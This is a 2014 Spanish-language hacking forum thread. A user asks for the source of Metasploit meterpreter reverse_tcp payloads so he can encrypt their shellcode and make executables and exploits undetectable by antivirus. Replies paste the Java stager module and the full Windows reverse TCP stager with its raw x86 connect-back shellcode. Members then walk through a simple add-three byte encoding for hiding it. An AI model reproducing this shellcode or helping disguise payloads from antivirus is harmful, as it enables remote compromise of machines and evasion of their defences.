Ayuda necesito el source del payload java/meterpreter/reverse_tcp o otro

Iniciado por cibi, Septiembre 27, 2014, 03:01:04 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 27, 2014, 03:01:04 PM Ultima modificación: Septiembre 27, 2014, 03:28:32 PM por Expermicid
Hola me gustaría saber donde puedo encontrar el source del payload java/meterpreter/reverse_tcp donde pueda encontrar la shellcode, quiero intentar cifrar la shellcode de un exploit bueno solo era eso.
También me gustaría saber como unir el payload al exploit supongo que me entenderán.

Espero  que  sea esto lo que buscas este es el  payload java/reverse_tcp está en rb

Citar##
# $Id: reverse_tcp.rb 13213 2011-07-18 23:15:06Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Stager
   include Msf::Payload::Java

   def initialize(info = {})
      super(merge_info(info,
         'Name'          => 'Java Reverse TCP stager',
         'Version'       => '$Revision: 13213 $',
         'Description'   => 'Connect back stager',
         'Author'        => [
               'mihi',  # all the hard work
               'egypt', # msf integration
            ],
         'License'       => MSF_LICENSE,
         'Platform'      => 'java',
         'Arch'          => ARCH_JAVA,
         'Handler'       => Msf::Handler::ReverseTcp,
         'Convention'    => 'javasocket',
         'Stager'        => {'Payload' => ""}
         ))

      register_advanced_options(
         [
            Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
         ], self.class
      )

      @class_files = [ ]
   end

   def config
      spawn = datastore["Spawn"] || 2
      c =  ""
      c << "Spawn=#{spawn}\n"
      c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
      c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
      
      c
   end

end

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok gracias el de windows/meterpreter/reverse_tcp puede ser este?
Código: php
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'


module Metasploit3

  include Msf::Payload::Stager
  include Msf::Payload::Windows

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse TCP Stager',
      'Description'   => 'Connect back to the attacker',
      'Author'        => ['hdm', 'skape', 'sf'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] },
          'Payload' =>
            # Built on Tue Jan 14 03:04:51 2014

            # Name: stager_reverse_tcp_nx
            # Length: 287 bytes
            # Port Offset: 201
            # Host Offset: 194
            # RetryCounter Offset: 192
            # ExitFunk Offset: 226
            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
            "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
            "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"

        }
      ))


  end

end

Y como que el de java reverse_tcp no tiene shellcode ?

Correcto xacibi es ese! por si quieres ver solo te diriges a rapid7  y lo buscas el source del payload, auxiliar o el que necesites. para unir a que te refieres quieres modificar el shellcode existente por otro que ataque otra vulnerabilidad ? o a donde va tu pregunta.

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Hola me refería cifrar la shellcode de ese payload y unirlo a metasploit conozco un método que era sumarle 3 a cada byte de la shellcode pero creo que no es tan sencillo como pensaba porque por ejemplo esta parte de la shellcode del payload windows/meterpreter/reverse_tcp:
\xFC\xE8\x86\
el /x86/ cifrado seria de la siguiente forma:
/x89/
Creo que no me equivoco pero cuando hay letras por en medio me resulta un poco mas complicado, según vi en un libro para cifrarla pasa de /x86/ a /x89/ pero cuando hay letras se trabaja en hexadecimal por ejemplo una shellcode de esta manera:
0x68 cifrada seria 0x6b porque en hexadecimal para cifrar se cuenta de la siguiente forma:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f, 10, 11, 12, 13, 14
Pero no entiendo como podría cifrar esto:
\xFC\xE8\
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.

xFC quedaría como xFF

Mira esto, puede que te aclare las cosas ;)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Visita mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?

x99, sería x9C (Hexa es 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f. Desplazamos el 9 tres posiciones adelante, y tenemos c. Si en algún cálculo llegamos a f, pasamos a modificar el dígito de la izquierda, como en cualquier suma xD).

SUPONGO que sí, se deben modificar; pero OJO, sólo SUPONGO esto...
Visita mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.

Exacto, luego del F vuelve a 0 y se le suma 1 al otro dígito...
Visita mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?

La verdad es que no sé... Apenas he hecho algo relacionado con el tema xD. Segúramente algún otro usuario te lo podrá aclarar.
Visita mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.